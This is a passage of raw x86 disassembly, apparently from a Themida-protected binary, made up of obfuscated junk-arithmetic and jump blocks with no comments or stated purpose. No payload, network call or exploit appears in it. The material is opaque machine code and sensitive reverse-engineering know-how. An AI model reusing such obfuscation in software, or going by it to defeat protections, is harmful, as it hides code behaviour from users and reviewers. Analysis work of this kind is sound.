mov [esp], ecx
push 4A763C66h
jmp loc_552930
; ---------------------------------------------------------------------------
loc_557765: ; CODE XREF: Themida_:00555492j
mov edi, [esp]
push 6DAEh
mov [esp], edx
jmp loc_55622D
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_55545A
; ---------------------------------------------------------------------------
loc_557793: ; CODE XREF: Themida_:00556E93j
push 2967h
mov [esp], ecx
mov ecx, 2
add edx, ecx
pop ecx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov ax, [esp]
jmp loc_552F40
; ---------------------------------------------------------------------------
loc_5577B6: ; CODE XREF: Themida_:00559857j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5577BB: ; CODE XREF: Themida_:005518F9j
push ecx
mov ecx, 66034DDBh
add ecx, 5A970719h
sub ecx, 47301B5h
add ecx, 0F5F5BE6h
xor ecx, 48AAC309h
add esi, ecx
pop ecx
mov edx, esi
jmp loc_553F09
; ---------------------------------------------------------------------------
loc_5577E3: ; CODE XREF: Themida_:00553746j
add edi, 4
jmp loc_551D22
; ---------------------------------------------------------------------------
loc_5577EE: ; CODE XREF: Themida_:00556E5Fj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5577F3: ; CODE XREF: Themida_:00556A8Ej
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_5525B8
; ---------------------------------------------------------------------------
loc_557814: ; CODE XREF: Themida_:0055C7EAj
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_559A5B
; ---------------------------------------------------------------------------
loc_557823: ; CODE XREF: Themida_:00559E9Dj
push ebp
mov ebp, 291A26E1h
mov esi, 788087B3h
sub esi, ebp
pop ebp
dec esi
jmp loc_553B5B
; ---------------------------------------------------------------------------
loc_557837: ; CODE XREF: Themida_:005546EEj
push small 0A0Ah
mov [esp], cx
jmp loc_551BB4
; ---------------------------------------------------------------------------
loc_557844: ; CODE XREF: Themida_:00556A67j
inc ecx
jmp loc_55737D
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edx
push eax
push esi
mov esi, 0C1871A4h
mov eax, 837BCB36h
sub eax, esi
pop esi
jmp loc_55B38D
; ---------------------------------------------------------------------------
loc_557862: ; CODE XREF: Themida_:0055B412j
pop esi
xor eax, 46B8040Ch
add esi, eax
jmp loc_55C4B5
; ---------------------------------------------------------------------------
loc_55786F: ; CODE XREF: Themida_:0055C54Aj
add dh, ah
pop eax
or ch, dh
jmp loc_55AA58
; ---------------------------------------------------------------------------
loc_557879: ; CODE XREF: Themida_:0055C6FEj
pop edx
jmp loc_555253
; ---------------------------------------------------------------------------
loc_55787F: ; CODE XREF: Themida_:0055524Ej
sub eax, edx
sub eax, 5C8055F8h
pop edx
jmp loc_55731D
; ---------------------------------------------------------------------------
loc_55788C: ; CODE XREF: Themida_:00555CBCj
mov cl, 0DCh
dec cl
shl cl, 7
neg cl
not cl
add cl, 35h
jmp loc_555B87
; ---------------------------------------------------------------------------
loc_55789F: ; CODE XREF: Themida_:0055AA4Bj
sub ebx, ecx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_556CDB
; ---------------------------------------------------------------------------
loc_5578AC: ; CODE XREF: Themida_:005558FFj
xor esi, 7E8EE58Ah
add eax, esi
jmp loc_55835C
; ---------------------------------------------------------------------------
loc_5578B9: ; CODE XREF: Themida_:005518C4j
inc ebx
and ebx, 519C228Bh
jmp loc_55181F
; ---------------------------------------------------------------------------
loc_5578C5: ; CODE XREF: Themida_:00551CA6j
add eax, 75A24E8Ah
jmp loc_55B9A2
; ---------------------------------------------------------------------------
loc_5578CF: ; CODE XREF: Themida_:00557C7Aj
mov edx, 6D0B1FD7h
xor edx, eax
mov eax, [esp]
add esp, 4
add ecx, edx
pop edx
add ecx, 2
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_559445
; ---------------------------------------------------------------------------
loc_5578FC: ; CODE XREF: Themida_:00553328j
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_55C703
; ---------------------------------------------------------------------------
loc_557910: ; CODE XREF: Themida_:00559AABj
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
and eax, ebx
pop ebx
or edx, eax
shl edx, 1
sub esp, 4
jmp loc_551B44
; ---------------------------------------------------------------------------
loc_557931: ; CODE XREF: Themida_:005555B6j
sub ebx, eax
jmp loc_553878
; ---------------------------------------------------------------------------
loc_557938: ; CODE XREF: Themida_:0055AEF3j
add eax, 441C6BF5h
push ecx
mov ecx, 6CC33938h
jmp loc_5564B9
; ---------------------------------------------------------------------------
loc_557948: ; CODE XREF: Themida_:005525E5j
add ebp, 5778391Fh
pop ecx
sub ebp, 0CDF31E5Bh
sub esi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_558E1C
; ---------------------------------------------------------------------------
loc_557962: ; CODE XREF: Themida_:00558267j
add edi, eax
mov eax, [esp]
add esp, 4
shr edi, 2
neg edi
xor edi, 0EB62DB61h
add eax, edi
jmp loc_55229A
; ---------------------------------------------------------------------------
loc_55797F: ; CODE XREF: Themida_:00558110j
pop esp
mov [esp], dx
mov dl, 2Fh
not dl
dec dl
push eax
mov ah, 0BEh
add ah, 19h
dec ah
xor ah, 79h
or dl, ah
pop eax
and dl, 1Fh
shl dl, 4
sub dl, 0E9h
jmp loc_5541F8
; ---------------------------------------------------------------------------
loc_5579A6: ; CODE XREF: Themida_:0055B3F2j
sub ebp, ecx
jmp loc_5539A2
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5579B7: ; CODE XREF: Themida_:00556EBEj
mov [esp], eax
jmp loc_55675C
; ---------------------------------------------------------------------------
loc_5579BF: ; CODE XREF: Themida_:00554DC9j
add edx, 4
jmp loc_5549CD
; ---------------------------------------------------------------------------
loc_5579C7: ; CODE XREF: Themida_:00559636j
mov ah, 8Ch
push ecx
mov cl, 0F2h
add cl, 84h
jmp loc_552111
; ---------------------------------------------------------------------------
loc_5579D4: ; CODE XREF: Themida_:00558714j
push edi
mov edi, 7E623108h
jmp loc_55CF17
; ---------------------------------------------------------------------------
loc_5579DF: ; CODE XREF: Themida_:005545E6j
and eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or eax, eax
jz loc_556413
push 0E10h
mov [esp], ebp
push 0FEh
pop ebp
and [edi+1Ch], ebp
jmp loc_556467
; ---------------------------------------------------------------------------
loc_557A09: ; CODE XREF: Themida_:00553B15j
add esp, 4
add eax, 4
push edi
mov edi, 2
jmp loc_554A5A
; ---------------------------------------------------------------------------
loc_557A1C: ; CODE XREF: Themida_:005544F7j
add edx, ebx
mov eax, [edx]
pop edx
jmp loc_55D877
; ---------------------------------------------------------------------------
loc_557A26: ; CODE XREF: Themida_:00559E3Dj
add [esp+4], eax
pop eax
pop ecx
add ecx, 4
push edi
push ecx
mov ecx, 761B7782h
push ecx
add dword ptr [esp], 2012422Bh
pop edi
sub edi, 2012422Bh
pop ecx
sub edi, 761B7780h
sub ecx, edi
jmp loc_55D321
; ---------------------------------------------------------------------------
loc_557A56: ; CODE XREF: Themida_:0055D9CFj
push ebx
mov bx, 2A56h
or bx, 7B91h
add bx, 0A131h
or bp, bx
jmp loc_55AEB7
; ---------------------------------------------------------------------------
loc_557A6D: ; CODE XREF: Themida_:00551D0Dj
push eax
mov eax, 2BE832DAh
jmp loc_55972D
; ---------------------------------------------------------------------------
loc_557A78: ; CODE XREF: Themida_:00557171j
sub al, ch
pop ecx
push 6D4Bh
mov [esp], ebx
push edx
mov dh, 0B0h
neg dh
sub dh, 82h
mov bh, dh
pop edx
shr bh, 4
jmp loc_558A28
; ---------------------------------------------------------------------------
loc_557A96: ; CODE XREF: Themida_:00556FE6j
sub eax, 5575DF3Dh
or ebp, eax
pop eax
add ebp, 361F08AAh
add ebx, 1D2655Eh
add ebx, ebp
jmp loc_5544E2
; ---------------------------------------------------------------------------
loc_557AB1: ; CODE XREF: Themida_:00554218j
pop ebx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_557AB7: ; CODE XREF: Themida_:0055AD63j
pop edi
push ecx
jmp loc_555D10
; ---------------------------------------------------------------------------
loc_557ABE: ; CODE XREF: Themida_:00551ABFj
add eax, 226850BEh
sub eax, ebp
sub eax, 226850BEh
jmp loc_553C86
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
push 1D44h
mov [esp], ebp
push esp
pop ebp
push eax
mov eax, 4
add ebp, eax
jmp loc_556F8B
; ---------------------------------------------------------------------------
loc_557B03: ; CODE XREF: Themida_:00554B06j
mov cx, [esp]
jmp loc_55817C
; ---------------------------------------------------------------------------
loc_557B0C: ; CODE XREF: Themida_:00554348j
push ebx
mov ebx, esi
mov [edi+20h], ebx
pop ebx
pop esi
mov edx, [esp]
add esp, 4
push 21E6h
mov [esp], ebx
push 18C1h
mov [esp], eax
mov eax, 7BE66A1Ch
mov ebx, eax
jmp loc_55A0D5
; ---------------------------------------------------------------------------
loc_557B39: ; CODE XREF: Themida_:00557D29j
mov [esp], edx
mov edx, 7E2F1467h
not edx
jmp loc_5528C1
; ---------------------------------------------------------------------------
loc_557B48: ; CODE XREF: Themida_:00554A9Bj
movzx eax, al
push dword ptr [edi+eax*4]
push edx
push ecx
jmp loc_55AF60
; ---------------------------------------------------------------------------
loc_557B55: ; CODE XREF: Themida_:0055AD32j
pop esi
push ebx
mov ebx, 73F36E80h
xor ebx, 473C46F0h
add ebx, 0CB30D794h
add esi, ebx
pop ebx
push edi
push ebx
jmp loc_5599D0
; ---------------------------------------------------------------------------
loc_557B72: ; CODE XREF: Themida_:0055773Aj
pop esp
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebp, 4
sub esp, 4
mov [esp], ebx
push esi
mov esi, 27E5AADh
mov ebx, esi
pop esi
dec ebx
jmp loc_559213
; ---------------------------------------------------------------------------
loc_557BAB: ; CODE XREF: Themida_:00551FDBj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add bl, 43h
jmp loc_5537F2
; ---------------------------------------------------------------------------
loc_557BC3: ; CODE XREF: Themida_:0055ADCCj
push edx
mov edx, 3BA11F1Eh
push edx
sub dword ptr [esp], 2D777929h
pop ecx
add ecx, 2D777929h
pop edx
mov esi, 3BA11F20h
sub esi, ecx
pop ecx
sub edi, esi
pop esi
xor edi, [esp]
jmp loc_55DD0B
; ---------------------------------------------------------------------------
loc_557BEC: ; CODE XREF: Themida_:005573E4j
add edx, 8AC2EC5h
pop esi
add edx, eax
add edx, 454817D8h
pop eax
xchg edx, [esp]
mov esp, [esp]
or [esp], al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_557C0B: ; CODE XREF: Themida_:00559720j
add [esp+4], eax
jmp loc_55D7DE
; ---------------------------------------------------------------------------
loc_557C14: ; CODE XREF: Themida_:0055D12Ej
push edx
mov edx, esp
jmp loc_55D094
; ---------------------------------------------------------------------------
loc_557C1C: ; CODE XREF: Themida_:0055815Cj
mov edi, esp
push ecx
mov ecx, 63F454B8h
xor ecx, 59F556A5h
xor ecx, 66B248A7h
shl ecx, 4
inc ecx
jmp loc_556307
; ---------------------------------------------------------------------------
loc_557C39: ; CODE XREF: Themida_:00551A36j
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5551A8
; ---------------------------------------------------------------------------
loc_557C50: ; CODE XREF: Themida_:00556D64j
push bx
jmp loc_555904
; ---------------------------------------------------------------------------
loc_557C57: ; CODE XREF: Themida_:00553B7Ej
add edi, 4
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push esp
jmp loc_559E34
; ---------------------------------------------------------------------------
loc_557C70: ; CODE XREF: Themida_:00557D48j
add esp, 4
push edx
push eax
mov eax, 6D0B1FD3h
jmp loc_5578CF
; ---------------------------------------------------------------------------
loc_557C7F: ; CODE XREF: Themida_:0055ABB2j
pop edi
add edi, 4
push 3639h
mov [esp], ecx
mov ecx, 2
add edi, ecx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
idiv cl
movzx cx, ah
push edi
jmp loc_556E98
; ---------------------------------------------------------------------------
loc_557CC1: ; CODE XREF: Themida_:00555069j
mov ecx, 0A5D175Eh
jmp loc_55735A
; ---------------------------------------------------------------------------
loc_557CCB: ; CODE XREF: Themida_:005525EBj
add edi, 0E7F8C352h
sub eax, 22C460BEh
sub eax, edi
add eax, 22C460BEh
mov edi, [esp]
push 5DCEh
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_552B99
; ---------------------------------------------------------------------------
loc_557CF8: ; CODE XREF: Themida_:005525D2j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
push esp
pop eax
jmp loc_556788
; ---------------------------------------------------------------------------
loc_557D15: ; CODE XREF: Themida_:00558478j
xor esi, 786247B2h
mov ecx, esi
pop esi
jmp loc_558A95
; ---------------------------------------------------------------------------
loc_557D23: ; CODE XREF: Themida_:00554C02j
pop ebx
push 1B6Fh
jmp loc_557B39
; ---------------------------------------------------------------------------
loc_557D2E: ; CODE XREF: Themida_:00553F3Cj
mov [esp], ebp
mov ebp, 2
add esi, ebp
jmp loc_551E31
; ---------------------------------------------------------------------------
loc_557D3D: ; CODE XREF: Themida_:0055B82Aj
push edx
jmp loc_55D4FA
; ---------------------------------------------------------------------------
loc_557D43: ; CODE XREF: Themida_:005555CBj
push esp
push dword ptr [esp]
pop ecx
jmp loc_557C70
; ---------------------------------------------------------------------------
loc_557D4D: ; CODE XREF: Themida_:0055ACDBj
push esi
mov esi, 4
add ebp, 5F546786h
sub ebp, esi
push edi
mov edi, 5F546786h
sub ebp, edi
jmp loc_55B046
; ---------------------------------------------------------------------------
loc_557D68: ; CODE XREF: Themida_:00559FEFj
pop eax
jmp loc_55BBD5
; ---------------------------------------------------------------------------
loc_557D6E: ; CODE XREF: Themida_:00558AE1j
pop edx
sub edi, 3D2000DAh
not edi
neg edi
xor edi, 7536C4D0h
add [edx], edi
pop edi
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_5538CA
; ---------------------------------------------------------------------------
loc_557D92: ; CODE XREF: Themida_:0055C2BBj
add bh, 60h
mov ch, 0DBh
xor ch, bh
pop ebx
add al, ch
pop ecx
jmp loc_55C1E6
; ---------------------------------------------------------------------------
loc_557DA2: ; CODE XREF: Themida_:0055B1D9j
add ebp, 4
jmp loc_554DA3
; ---------------------------------------------------------------------------
loc_557DAA: ; CODE XREF: Themida_:00556B46j
sub esp, 4
mov [esp], ecx
mov ecx, 0B242085Dh
add edi, 5ECA3234h
add edi, ecx
sub edi, 5ECA3234h
pop ecx
push edi
xor dword ptr [esp], 1AF23CC6h
pop edx
jmp loc_556650
; ---------------------------------------------------------------------------
loc_557DD2: ; CODE XREF: Themida_:0055B525j
add al, bl
push dx
mov dh, 0ACh
sub al, dh
pop dx
mov ebx, [esp]
jmp loc_558A60
; ---------------------------------------------------------------------------
loc_557DE4: ; CODE XREF: Themida_:0055ACF7j
xor [esp], eax
xor eax, [esp]
jmp loc_55600D
; ---------------------------------------------------------------------------
loc_557DEF: ; CODE XREF: Themida_:00553804j
mov edx, [esp]
add esp, 4
push ecx
jmp loc_559255
; ---------------------------------------------------------------------------
loc_557DFE: ; CODE XREF: Themida_:00556DA6j
pop eax
xor ch, 1Ch
jmp loc_55B5FA
; ---------------------------------------------------------------------------
loc_557E07: ; CODE XREF: Themida_:00558438j
xor edi, [esp]
pop esp
jmp loc_552B27
; ---------------------------------------------------------------------------
loc_557E10: ; CODE XREF: Themida_:00556FB7j
push ebx
jmp loc_55AA92
; ---------------------------------------------------------------------------
loc_557E16: ; CODE XREF: Themida_:0055A774j
pop edi
add edx, ecx
mov [edx], al
pop edx
pop ecx
jmp loc_55B52A
; ---------------------------------------------------------------------------
loc_557E22: ; CODE XREF: Themida_:0055CB3Dj
pop edx
add ebp, edx
mov edx, [esp]
jmp loc_55CCB4
; ---------------------------------------------------------------------------
loc_557E2D: ; CODE XREF: Themida_:00555611j
mov [esp], eax
mov eax, 259069A6h
jmp loc_557E4E
; ---------------------------------------------------------------------------
loc_557E3A: ; CODE XREF: Themida_:00554126j
mov eax, [edx]
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_557644
; ---------------------------------------------------------------------------
loc_557E4E: ; CODE XREF: Themida_:00557E35j
neg eax
sub eax, 0DA6F9658h
add ecx, eax
pop eax
jmp loc_55AB87
; ---------------------------------------------------------------------------
loc_557E5D: ; CODE XREF: Themida_:00557412j
mov ebx, 4
add ebp, ebx
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push esi
mov esi, esp
push ebx
jmp loc_55232B
; ---------------------------------------------------------------------------
loc_557E7A: ; CODE XREF: Themida_:005541D4j
pop edx
xor esi, [esp]
jmp loc_55C870
; ---------------------------------------------------------------------------
loc_557E83: ; CODE XREF: Themida_:0055C68Dj
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push 62BAh
mov [esp], ebx
mov ebx, esp
jmp loc_55B038
; ---------------------------------------------------------------------------
loc_557E9E: ; CODE XREF: Themida_:005555A1j
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55D0F8
; ---------------------------------------------------------------------------
loc_557EB9: ; CODE XREF: Themida_:0055CFDBj
add dword ptr [esp], 4
jmp loc_55559B
; ---------------------------------------------------------------------------
loc_557EC2: ; CODE XREF: Themida_:0055D726j
add edx, 7CEAE2F3h
add ebp, edx
pop edx
jmp loc_55B807
; ---------------------------------------------------------------------------
loc_557ED0: ; CODE XREF: Themida_:00558E06j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push esp
mov eax, [esp]
push edi
jmp loc_55666A
; ---------------------------------------------------------------------------
loc_557EEA: ; CODE XREF: Themida_:00557672j
mov eax, 2B64284Eh
xor eax, 0D4C5EA0h
jmp loc_552DA3
; ---------------------------------------------------------------------------
loc_557EF9: ; CODE XREF: Themida_:0055DA4Bj
shl ecx, 7
jmp loc_556645
; ---------------------------------------------------------------------------
loc_557F01: ; CODE XREF: Themida_:0055B17Fj
not ebp
jmp loc_551CA5
; ---------------------------------------------------------------------------
loc_557F08: ; CODE XREF: Themida_:0055AF65j
push eax
push edi
mov edi, 48F6106Ah
shr edi, 6
and edi, 56553220h
dec edi
shr edi, 2
push eax
mov eax, 0F9E74F1h
and eax, 5E98578Ah
sub eax, 2B285595h
shl eax, 1
not eax
and eax, 35223A0Ah
sub eax, 0ABD06Bh
jmp loc_553B83
; ---------------------------------------------------------------------------
loc_557F3F: ; CODE XREF: Themida_:005599D5j
pop ebx
jmp loc_555C9E
; ---------------------------------------------------------------------------
loc_557F45: ; CODE XREF: Themida_:00553D66j
add ebp, ebx
jmp loc_552EF1
; ---------------------------------------------------------------------------
loc_557F4C: ; CODE XREF: Themida_:00551E38j
xor al, bl
push small 6BF4h
mov [esp], cx
mov cl, 4Bh
push ebx
jmp loc_557364
; ---------------------------------------------------------------------------
loc_557F5E: ; CODE XREF: Themida_:00554B61j
add edx, edi
pop edi
xor edx, [esp]
xor [esp], edx
jmp loc_554CB7
; ---------------------------------------------------------------------------
loc_557F6C: ; CODE XREF: Themida_:0055428Ej
push edx
mov edx, 63265EF6h
or [edi+24h], edx
jmp loc_552A4F
; ---------------------------------------------------------------------------
loc_557F7A: ; CODE XREF: Themida_:00551F7Cj
xchg edx, [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_557F89: ; CODE XREF: Themida_:005546CBj
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_55208D
; ---------------------------------------------------------------------------
loc_557F95: ; CODE XREF: Themida_:00559E12j
sub ebx, 31E74354h
jmp loc_55CBF9
; ---------------------------------------------------------------------------
loc_557FA0: ; CODE XREF: Themida_:005524F7j
add ecx, ebx
mov ebx, [esp]
jmp loc_558904
; ---------------------------------------------------------------------------
loc_557FAA: ; CODE XREF: Themida_:0055D08Fj
push dword ptr [esp+4]
jmp loc_55DCC1
; ---------------------------------------------------------------------------
loc_557FB3: ; CODE XREF: Themida_:0055AD8Fj
pop ebp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov [esp], edx
push eax
push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
push edx
mov edx, 7E1571B9h
push edi
mov edi, 0
sub edi, edx
jmp loc_55774E
; ---------------------------------------------------------------------------
loc_557FDC: ; CODE XREF: Themida_:0055B6DFj
xchg ebp, [esp]
jmp loc_55A7E6
; ---------------------------------------------------------------------------
loc_557FE4: ; CODE XREF: Themida_:0055BADEj
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_55A81D
; ---------------------------------------------------------------------------
loc_557FF5: ; CODE XREF: Themida_:0055B71Fj
push ebx
mov ebx, 3F777886h
jmp loc_559BBD
; ---------------------------------------------------------------------------
loc_558000: ; CODE XREF: Themida_:00558F29j
pop esi
jmp loc_55A549
; ---------------------------------------------------------------------------
loc_558006: ; CODE XREF: Themida_:0055B426j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55800B: ; CODE XREF: Themida_:00558880j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558010: ; CODE XREF: Themida_:005524DDj
push ecx
push 2300h
jmp loc_555843
; ---------------------------------------------------------------------------
loc_55801B: ; CODE XREF: Themida_:0055278Ej
sub cl, 3Ah
add bl, cl
pop cx
push ebx
push esp
push dword ptr [esp]
pop ebx
add esp, 4
push esi
mov esi, 3C9F0C71h
jmp loc_557694
; ---------------------------------------------------------------------------
loc_558039: ; CODE XREF: Themida_:00555DC5j
xor dh, 76h
jmp loc_55BB5F
; ---------------------------------------------------------------------------
loc_558041: ; CODE XREF: Themida_:0055222Bj
mov ebx, [esp]
add esp, 4
push edx
mov edx, 4D4D4A61h
add edx, 1
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
jmp loc_55DCD5
; ---------------------------------------------------------------------------
loc_558068: ; CODE XREF: Themida_:0055AB0Ej
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_5599E1
; ---------------------------------------------------------------------------
loc_558074: ; CODE XREF: Themida_:00555886j
mov ebx, 783362A1h
add eax, ebx
pop ebx
sub eax, ebx
jmp loc_55574B
; ---------------------------------------------------------------------------
loc_558083: ; CODE XREF: Themida_:00559F98j
push dword ptr [esp+4]
pop ebx
jmp loc_556836
; ---------------------------------------------------------------------------
loc_55808D: ; CODE XREF: Themida_:005527C2j
push 1AFFh
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
jmp loc_552820
; ---------------------------------------------------------------------------
loc_5580A0: ; CODE XREF: Themida_:0055DD5Cj
mov edx, esp
add edx, 4
jmp loc_5596FF
; ---------------------------------------------------------------------------
loc_5580AD: ; CODE XREF: Themida_:00552B9Cj
pop esp
push ecx
mov ecx, 1B666AFDh
push ebp
push edi
mov edi, 3C361E21h
mov ebp, 0D20A0683h
add ebp, 678D4775h
add ebp, edi
jmp loc_55603D
; ---------------------------------------------------------------------------
loc_5580CD: ; CODE XREF: Themida_:00552D2Dj
shr ebx, 3
jmp loc_55712E
; ---------------------------------------------------------------------------
loc_5580D5: ; CODE XREF: Themida_:00558A78j
add edi, 32CF7FDFh
add edi, 439C6A33h
sub edi, 0FFFFFFFFh
push esi
mov esi, 0C8303549h
xor edi, esi
pop esi
sub ebx, 39C25E4Ch
add ebx, edi
add ebx, 39C25E4Ch
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 2
sub ebx, ecx
pop ecx
xchg ebx, [esp]
jmp loc_55797F
; ---------------------------------------------------------------------------
loc_558115: ; CODE XREF: Themida_:00555D1Ej
add edx, 0BC8EE76Ch
push edx
mov edx, 4B053FC1h
jmp loc_555007
; ---------------------------------------------------------------------------
loc_558126: ; CODE XREF: Themida_:0055576Cj
sub eax, esi
add eax, 601C7003h
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_554079
; ---------------------------------------------------------------------------
loc_55813C: ; CODE XREF: Themida_:00556A4Bj
mov cl, 5Ah
push ecx
push ebx
mov bh, 0D6h
mov cl, bh
jmp loc_5588EE
; ---------------------------------------------------------------------------
locret_558149: ; CODE XREF: Themida_:005530B1j
retn
; ---------------------------------------------------------------------------
jmp loc_551815
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3DF0h
mov [esp], eax
push edi
jmp loc_557C1C
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558169: ; CODE XREF: Themida_:00552938j
pop ecx
push esi
jmp loc_558CE2
; ---------------------------------------------------------------------------
loc_558170: ; CODE XREF: Themida_:00553D83j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558175: ; CODE XREF: Themida_:00555B43j
mov edi, esp
jmp loc_5553B3
; ---------------------------------------------------------------------------
loc_55817C: ; CODE XREF: Themida_:00557B07j
add esp, 2
push 237Bh
mov [esp], ecx
push ebx
push ecx
push ebx
mov bl, 0AFh
mov cl, bl
jmp loc_552B04
; ---------------------------------------------------------------------------
loc_558196: ; CODE XREF: Themida_:00554389j
mov [esp], eax
push ecx
jmp loc_557285
; ---------------------------------------------------------------------------
loc_55819F: ; CODE XREF: Themida_:00559E5Dj
or ebx, 238121D6h
and ebx, 3B276F77h
add ebx, 0C4DADAAEh
add esi, ebx
pop ebx
xchg esi, [esp]
jmp loc_5594D6
; ---------------------------------------------------------------------------
loc_5581BC: ; CODE XREF: Themida_:0055AA3Fj
add bl, dl
mov edx, [esp]
push edi
push esp
jmp loc_55A1F0
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5581D7: ; CODE XREF: Themida_:005586F9j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5597EB
; ---------------------------------------------------------------------------
loc_5581EB: ; CODE XREF: Themida_:00552C9Dj
sub eax, ecx
pop ecx
xchg eax, [esp]
pop esp
mov [esp], esi
jmp loc_551DCB
; ---------------------------------------------------------------------------
loc_5581FA: ; CODE XREF: Themida_:0055D189j
push 5259h
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
mov edi, [esp]
add esp, 4
mov edx, [esp]
push ebp
mov ebp, esp
push eax
mov eax, 61134AD3h
xor eax, 11F9070Fh
add eax, 57CB1197h
neg eax
neg eax
or eax, 4CB6089Eh
sub eax, 0CCB75FFBh
jmp loc_55A958
; ---------------------------------------------------------------------------
loc_55823E: ; CODE XREF: Themida_:0055B20Ej
sub bl, 0B4h
push edx
mov dh, 0F0h
neg dh
jmp loc_554EAC
; ---------------------------------------------------------------------------
loc_55824B: ; CODE XREF: Themida_:00555BC1j
add eax, 4
sub eax, 4
jmp loc_557737
; ---------------------------------------------------------------------------
loc_55825A: ; CODE XREF: Themida_:00557749j
mov edx, 365C71C9h
and eax, edx
pop edx
add eax, 806A926h
jmp loc_557962
; ---------------------------------------------------------------------------
loc_55826C: ; CODE XREF: Themida_:00554EB7j
xor dh, 50h
sub bl, dh
jmp loc_55448D
; ---------------------------------------------------------------------------
loc_558276: ; CODE XREF: Themida_:00555CD9j
xor si, 0F441h
jmp loc_55C808
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558287: ; CODE XREF: Themida_:00553CEAj
neg edi
not edi
push 70E3h
jmp loc_55C7D4
; ---------------------------------------------------------------------------
loc_558295: ; CODE XREF: Themida_:005557A7j
pop esp
mov [esp], esi
mov esi, 20000h
and eax, esi
push dword ptr [esp]
pop esi
push 0E1Dh
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_556C39
; ---------------------------------------------------------------------------
loc_5582B9: ; CODE XREF: Themida_:0055920Ej
pop edi
jmp loc_554BA2
; ---------------------------------------------------------------------------
loc_5582BF: ; CODE XREF: Themida_:0055C6DAj
push ebx
mov ebx, 717768DBh
xor ecx, ebx
pop ebx
shr ecx, 7
shl ecx, 3
sub ecx, 0F7A9AC6Ch
push edi
jmp loc_559A47
; ---------------------------------------------------------------------------
loc_5582DA: ; CODE XREF: Themida_:00558777j
push edx
jmp loc_555CFE
; ---------------------------------------------------------------------------
dd 0E9242489h, 35F2h
; ---------------------------------------------------------------------------
loc_5582E8: ; CODE XREF: Themida_:0055530Cj
add ebp, 4
push ebx
push eax
mov eax, 738F0D58h
mov ebx, eax
pop eax
jmp loc_55B957
; ---------------------------------------------------------------------------
loc_5582FD: ; CODE XREF: Themida_:0055762Cj
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5562CB
; ---------------------------------------------------------------------------
loc_558311: ; CODE XREF: Themida_:00555092j
add ecx, edx
push dword ptr [esp]
pop edx
jmp loc_55A11A
; ---------------------------------------------------------------------------
loc_55831C: ; CODE XREF: Themida_:0055608Aj
